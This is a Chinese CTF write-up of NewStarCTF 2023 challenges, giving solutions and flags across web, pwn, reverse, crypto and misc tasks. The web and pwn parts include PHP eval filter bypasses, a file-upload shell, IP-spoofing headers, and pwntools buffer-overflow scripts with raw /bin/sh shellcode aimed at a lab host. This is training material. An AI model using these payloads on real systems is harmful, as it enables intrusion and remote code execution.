前言
Web:7/7
Pwn:3/5
Reverse:5/8
Crypto:5/10
Misc:3/6
然后排在了185名,这就是公开赛道
Web
泄漏的秘密
信息泄露
一个是robots.txt,访问得到PART ONE: flag{r0bots_1s_s0_us3ful
<?php
$PART_TWO = "_4nd_www.zip_1s_s0_d4ng3rous}";
echo "<h1>粗心的管理员泄漏了一些敏感信息,请你找出他泄漏的两个敏感信息!</h1>";
flag:flag{r0bots_1s_s0_us3ful_4nd_www.zip_1s_s0_d4ng3rous}
ErrorFlask
debug
访问靶机,告诉我们give me number1 and number2,i will help you to add
那我们get传参两个数字1和2到参数number1和number2看看,回显not ssti,flag in source code~3
不是ssti,那我们尝试输入个字符串给参数看看
出现报错,在debug报错界面找到flag
Begin of Upload
文件上传
最基础的文件上传
拿到shell直接命令执行
Begin of HTTP
http
burp抓包发到重放器开始操作
一开始要我们get传入ctf参数,我们随便传入个?ctf=1
即可
然后要我们post传入指定的secret参数,要求的secret值在页面的源码注释<!-- Secret: base64_decode(bjN3c3Q0ckNURjIwMjNnMDAwMDBk) -->
中,把base64解码出来的值n3wst4rCTF2023g00000d
传入secret参数即可
接下来要求我们的power值等于ctfer,这个参数在cookie,修改即可
下一步,要求我们用NewStarCTF2023浏览器,也就是要我们修改User-Agent头
然后要求我们从newstarctf.com
访问,也就是添加一个Referer头,值为newstarctf.com
最后要求我们是本地用户,也就是伪造成本地ip127.0.0.1,只要添加一个能伪造ip的头,值为127.0.0.1即可,这里试了下居然是X-Real-IP
R!C!E!
RCE
源码
<?php
highlight_file(__FILE__);
if(isset($_POST['password'])&&isset($_POST['e_v.a.l'])){
$password=md5($_POST['password']);
$code=$_POST['e_v.a.l'];
if(substr($password,0,6)==="c4d038"){
if(!preg_match("/flag|system|pass|cat|ls/i",$code)){
eval($code);
}
}
}
首先是password的md5值开头要等于c4d038
这里我直接python脚本爆破
import hashlib
target_prefix = "c4d038"
def find_string_with_md5_prefix(prefix):
for i in range(1000000): # 假设在一定范围内查找
string = str(i)
md5_hash = hashlib.md5(string.encode()).hexdigest()
if md5_hash.startswith(prefix):
return string
return None
result = find_string_with_md5_prefix(target_prefix)
if result:
print("String with MD5 prefix", target_prefix + ":", result)
else:
print("No string found with MD5 prefix", target_prefix)
# 114514
然后e_v.a.l
参数这里考了非法传参,我们要传入e[v.a.l
接着命令执行这里要先?>
闭合然后再<?=
,用反引号进行命令执行,tac
和通配符*
直接读flag
PS:后来发现可以用var_dump(scandir('/'))
直接读取
Begin of PHP
源码
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['key1']) && isset($_GET['key2'])){
echo "=Level 1=<br>";
if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
$flag1 = True;
}else{
die("nope,this is level 1");
}
}
if($flag1){
echo "=Level 2=<br>";
if(isset($_POST['key3'])){
if(md5($_POST['key3']) === sha1($_POST['key3'])){
$flag2 = True;
}
}else{
die("nope,this is level 2");
}
}
if($flag2){
echo "=Level 3=<br>";
if(isset($_GET['key4'])){
if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){
$flag3 = True;
}else{
die("nope,this is level 3");
}
}
}
if($flag3){
echo "=Level 4=<br>";
if(isset($_GET['key5'])){
if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
$flag4 = True;
}else{
die("nope,this is level 4");
}
}
}
if($flag4){
echo "=Level 5=<br>";
extract($_POST);
foreach($_POST as $var){
if(preg_match("/[a-zA-Z0-9]/",$var)){
die("nope,this is level 5");
}
}
if($flag5){
echo file_get_contents("/flag");
}else{
die("nope,this is level 5");
}
}
level1
md5之php弱比较
key1=QNKCDZO&key2=240610708
level2
数组绕过
md5(Array()) = null
sha1(Array()) = null
ereg(pattern,Array()) = null
preg_match(pattern,Array()) = false
strcmp(Array(), “abc”) = null
strpos(Array(),”abc”) = null
strlen(Array()) = null
所以只要传key3[]=
level3
数组绕过
key4[]=
level4
php弱类型比较
key5=2024a
level5
数组绕过
这一步我也是本地调试了一段时间才弄明白的
首先是foreach($_POST as $var)
,这一步是把POST的所有参数的值赋给了$var
然后再对$var进行正则匹配
注意:除了这个if语句,其它地方都没有提到$flag5
,也就是说我们要自己让$flag5
的值为True,而要传入$flag5
这个参数来赋值,就要利用extract
函数,也就是要用POST传参的方式,接下来就到了绕过正则匹配上,我这里本地起了一个php环境来测试
发现只传入key3[]
的时候正则匹配就报错了,并且没有出现要打印的字符串,也就是说明数组可以绕过这个正则,那接下来就是让flag5也以flag5[]
的数组形式传入参数即可
EasyLogin
爆破admin的密码
得到对应的md5值670b14728ad9902aecba32e22fa4f6bd
,密码居然是6个0。。。
错误的思路
审计一下终端页面的js代码,在le.pushInput('chat')
处打断点,刷新页面
然后在控制台输入le.pushInput('a')
插入任意字符;阻断终端进入chat,点击继续,这样就可以在终端进行命令执行了
接着就能发现终端里头除了几个指令啥都没有,flag不在这里啊啊啊(明明是个新生赛怎么可能上这种难度
PS:其实ctrl+c、ctrl+d就可以脱离chat了。。。
正解
在登录的时候抓包,发现会先跳转到一个php页面,然后才会进入到终端,但是在进入终端之后再回去访问这个页面会报404,猜测是被删掉了
于是我们在点击登录键的时候抓包,成功抓到这个重定向的php页面
flag就在这里
Pwn
ret2text
checksec检查附件可知64位
rbp偏移0x20
shift+f12追踪/bin/sh到backdoor函数
Tips:空格可转换成汇编视图
找到push入栈起始地址0x4011FF
exp:
from pwn import *
p = remote("node4.buuoj.cn", "27734")
offset = 0x20+0x8
get_flag_addr = 0x4011FF
payload = offset * b'a' + p64(get_flag_addr)
p.sendline(payload)
p.interactive()
然后命令执行获得flag即可
ezshellcode
ret2shellcode
参考c12en的博客
checksec检查附件发现64位开了NX,不能在栈上写入
ida反编译
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
void *buf; // [rsp+8h] [rbp-8h]
init(argc, argv, envp);
buf = (void *)(int)mmap((void *)0x66660000, 0x1000uLL, 7, 50, -1, 0LL);
puts("Welcome to NewStar CTF!!");
puts("Show me your magic");
read(0, buf, 0x100uLL);
JUMPOUT(0x66660000LL);
}
rbp偏移0x8位
mmap
函数:开辟一块空间存放我们输入的值,其地址为第一个参数addr(0x66660000)
shift+f12没有找到system(/bin/sh)
那么我们要做的就是将shellcode写入内存(在这里就是上面开辟的空间),然后在接下来的栈溢出中控制程序执行流到shellcode
常用的shellcode:\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05
from pwn import *
io = remote("node4.buuoj.cn",29175)
shellcode = b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
#shellcode = asm(shellcraft.sh())
#shellcode = asm(shellcraft.sh(), arch='amd64')
io.recvuntil(b"Welcome to NewStar CTF!!")
io.recvuntil(b"Show me your magic")
io.sendline(shellcode)
payload = cyclic(0x8+0x8)+p64(0x66660000)
io.sendline(payload)
io.recv()
io.interactive()
newstar shop
整数溢出
ida64反编译
直接代码审计
shop
unsigned __int64 shop()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("=============================");
puts("===Welcome to newstar shop===");
puts("=============================");
puts("1.newstar's gift 20$");
puts("2.pwn write up 40$");
puts("3.shell 9999$");
puts("\n");
puts("All things are only available for one day!");
puts("What do you want to buy?");
puts("\n");
if ( (int)__isoc99_scanf("%d", &v1) <= 0 )
puts("Invalid input");
if ( v1 != 3 )
{
if ( v1 > 3 )
{
LABEL_17:
puts("nothing here");
puts("\n");
return v2 - __readfsqword(0x28u);
}
if ( v1 == 1 )
{
if ( (unsigned int)money > 0x13 )
{
money -= 20;
puts("You buy a newstar's gift");
puts("That is the gift:");
puts("What will happen when int transfer to unsigned int?");
goto LABEL_10;
}
}
else
{
if ( v1 != 2 )
goto LABEL_17;
if ( (unsigned int)money > 0x27 )
{
money -= 40;
puts("You buy a pwn write up");
puts("That is free after the match,haha");
goto LABEL_10;
}
}
puts("Sorry,you don't have enough money");
LABEL_10:
puts("\n");
return v2 - __readfsqword(0x28u);
}
if ( (unsigned int)money > 0x270E )
{
money = 0;
puts("How do you buy it?");
puts("\n");
system("/bin/sh");
}
else
{
puts("Sorry,you don't have enough money");
puts("\n");
}
return v2 - __readfsqword(0x28u);
}
我们需要9999块钱进shell,选项1和选项2分别会消费20块和50块,而且变量money是unsigned int
型,说明存在整型溢出
makemoney
函数,这个函数纯赚钱,而且有限制,肯定到不了9999,代码就不放了
dont_try
函数,这个函数会强行扣50块钱,而且只能用一次
而我们的目的是让我们的钱变为负数,这样就可以进入shell了
所以思路为:先在shop把原有的钱花光,最后用dont_try
函数让自己的钱变为负数即可
p1eee(未完成)
64位保护除canary全开
因为开了PIE,地址随机化了,我们不能直接知道偏移量
Reverse
easy_RE
拖进ida64,f5反编译
找到后半段flag,前半段flag在v5数组中,只需要把每个值作为ascii码转换为字符即可
写个python脚本进行转换
v5 = [102, 108, 97, 103, 123, 119, 101, 49, 99, 48, 109]
result = ''.join(chr(i) for i in v5)
print("Converted string:", result)
# Converted string: flag{we1c0m
flag:flag{we1c0me_to_rev3rse!!}
Segments
根据提示拖入ida后shift+f7
flag:flag{You_ar3_g0od_at_f1nding_ELF_segments_name}
ELF
反编译
很明显是经过了一次encode
函数加密和一次base64加密后得到了对应的字符串
先双击base64_encode
函数拿到表ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789
对字符串进行base64解码,得到V\QWkt .$_e.'^_g.gXQ'.u|v.!c/m
然后双击encode
函数查看代码
_BYTE *__fastcall encode(const char *a1)
{
size_t v1; // rax
int v2; // eax
_BYTE *v4; // [rsp+20h] [rbp-20h]
int i; // [rsp+28h] [rbp-18h]
int v6; // [rsp+2Ch] [rbp-14h]
v1 = strlen(a1);
v4 = malloc(2 * v1 + 1);
v6 = 0;
for ( i = 0; i < strlen(a1); ++i )
{
v2 = v6++;
v4[v2] = (a1[i] ^ 0x20) + 16;
}
v4[v6] = 0;
return v4;
}
是一段异或代码
编写逆向脚本
encrypted_str = "V\QWkt .$_e.'^_g.gXQ'.u|v.!c/m"
decrypted_str = ""
for char in encrypted_str:
decrypted_char = chr((ord(char) - 16) ^ 0x20)
decrypted_str += decrypted_char
print(decrypted_str)
# flag{D0>4ou>7now>wha7>ELF>1s?}
不知道为什么下划线变成了>
得到flag:flag{D0_4ou_7now_wha7_ELF_1s?}
Endian
反编译,双击array
数组查看里面存储的内容
是小端存储
from Crypto.Util.number import *
enc = [0x75553A1E, 0x7B583A03, 0x4D58220C, 0x7B50383D, 0x736B3819]
for i in enc:
print(long_to_bytes(i ^ 0x12345678).decode()[::-1], end='')
# flag{llittl_Endian_a
flag:flag{llittl_Endian_a}
AndroXor
jadx反编译
在AndroidManifest.xml文件中找到MainActivity,双击进入
先把cArr全部转换为ascii码,然后与happyx3异或
exp:
enc = ""
str2 = "happyx3"
cArr = [14, 13, 17, 23, 2, 75, 73, 55, 32, 30, 20, 73, 10, 2, 12, 62, 40, 64, 11, 39, 75, 89, 25, 65, 13]
for i in range(25):
enc += chr(cArr[i] ^ ord(str2[i % len(str2)]))
print(enc)
# flag{3z_And0r1d_X0r_x1x1}
Crypto
brainfuck
++++++++[>>++>++++>++++++>++++++++>++++++++++>++++++++++++>++++++++++++++>++++++++++++++++>++++++++++++++++++>++++++++++++++++++++>++++++++++++++++++++++>++++++++++++++++++++++++>++++++++++++++++++++++++++>++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++<<<<<<<<<<<<<<<<-]>>>>>>>++++++.>----.<-----.>-----.>-----.<<<-.>>++..<.>.++++++.....------.<.>.<<<<<+++.>>>>+.<<<+++++++.>>>+.<<<-------.>>>-.<<<+.+++++++.--..>>>>---.-.<<<<-.+++.>>>>.<<<<-------.+.>>>>>++.
解码网站:https://www.splitbrain.org/services/ook
flag:flag{Oiiaioooooiai#b7c0b1866fe58e12}
Caesar’s Secert
kqfl{hf3x4w'x_h1umjw_n5_a4wd_3fed}
普通凯撒密码
脚本:
def caesar_decrypt(ciphertext, shift):
"""
凯撒密码解密函数
:param ciphertext: 密文
:param shift: 移位数
:return: 明文
"""
plaintext = ""
for char in ciphertext:
if char.isalpha():
# 将字母转换为ASCII码,并减去65或97,使得A或a的ASCII码为0
ascii_code = ord(char) - shift
# 处理超出字母表范围的ASCII码
if char.isupper():
if ascii_code < 65:
ascii_code += 26
else:
if ascii_code < 97:
ascii_code += 26
# 将ASCII码转换回字符
plaintext += chr(ascii_code)
else:
plaintext += char
return plaintext
ciphertext = "kqfl{hf3x4w'x_h1umjw_n5_a4wd_3fed}"
for i in range(1, 30):
shift = i
plaintext = caesar_decrypt(ciphertext, shift)
print(plaintext)
# flag{ca3s4r's_c1pher_i5_v4ry_3azy}
Fence
fa{ereigtepanet6680}lgrodrn_h_litx#8fc3
w型栅栏密码,栏数为2
解密网址:http://www.atoolbox.net/Tool.php?Id=777
flag:flag{reordering_the_plaintext#686f8c03}
Vigenère
pqcq{qc_m1kt4_njn_5slp0b_lkyacx_gcdy1ud4_g3nv5x0}
维吉尼亚,脚本爆破
letter_list = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' # 字母表
# 根据输入的key生成key列表
def Get_KeyList(key):
key_list = []
for ch in key:
key_list.append(ord(ch.upper()) - 65)
return key_list
# 加密函数
def Encrypt(plaintext, key_list):
ciphertext = ""
i = 0
for ch in plaintext: # 遍历明文
if 0 == i % len(key_list):
i = 0
if ch.isalpha(): # 明文是否为字母,如果是,则判断大小写,分别进行加密
if ch.isupper():
ciphertext += letter_list[(ord(ch) - 65 + key_list[i]) % 26]
i += 1
else:
ciphertext += letter_list[(ord(ch) - 97 + key_list[i]) %
26].lower()
i += 1
else: # 如果密文不为字母,直接添加到密文字符串里
ciphertext += ch
return ciphertext
# 解密函数
def Decrypt(ciphertext, key):
plaintext = ""
i = 0
for ch in ciphertext: # 遍历密文
if 0 == i % len(key_list):
i = 0
if ch.isalpha(): # 密文为否为字母,如果是,则判断大小写,分别进行解密
if ch.isupper():
plaintext += letter_list[(ord(ch) - 65 - key_list[i]) % 26]
i += 1
else:
plaintext += letter_list[(ord(ch) - 97 - key_list[i]) %
26].lower()
i += 1
else: # 如果密文不为字母,直接添加到明文字符串里
plaintext += ch
return plaintext
if __name__ == '__main__':
print("加密请按D,解密请按E:")
user_input = input()
while (user_input != 'D' and user_input != 'E'): # 输入合法性判断
print("输入有误!请重新输入:")
user_input = input()
print("请输入密钥,随便输后面会爆破,大写字母就行:")
key = input()
while (False == key.isalpha()): # 输入合法性判断
print("输入有误!密钥为字母,请重新输入:")
key = input()
key_list = Get_KeyList(key)
# print(key_list)
if user_input == 'D':
# 加密
print("请输入明文:")
plaintext = input()
ciphertext = Encrypt(plaintext, key_list)
print("密文为:\n%s" % ciphertext)
else:
# 解密
print(key_list)
print("请输入密文,把密文输进去:")
ciphertext = input()
for i in range(26):
for j in range(26):
for k in range(26):
key_list = [i, j, k]
plaintext = Decrypt(ciphertext, key_list)
if "flag" in plaintext:
print(plaintext)
break
#print("明文为:\n%s" % plaintext)
flag:flag{la_c1fr4_del_5ign0r_giovan_batt1st4_b3ll5s0}
babyencoding
part 1 of flag: ZmxhZ3tkYXp6bGluZ19lbmNvZGluZyM0ZTBhZDQ=
part 2 of flag: MYYGGYJQHBSDCZJRMQYGMMJQMMYGGN3BMZSTIMRSMZSWCNY=
part 3 of flag: =8S4U,3DR8SDY,C`S-F5F-C(S,S<R-C`Q9F8S87T`
flag1:base64解码flag{dazzling_encoding#4e0ad4
flag2:base32解码f0ca08d1e1d0f10c0c7afe422fea7
flag3:uuencode解码c55192c992036ef623372601ff3a}
最终flag:flag{dazzling_encoding#4e0ad4f0ca08d1e1d0f10c0c7afe422fea7c55192c992036ef623372601ff3a}
Misc
CyberChef’s Secret
cyberchef一把梭
机密图片
stegsolve把rgb通道设为0即可获得flag
流量!鲨鱼!
wireshark
翻一翻找到一个对疑似flag文件进行base64编码的操作
右键追踪对应的http流
返回200,把返回的base64字符串解码两次得到flag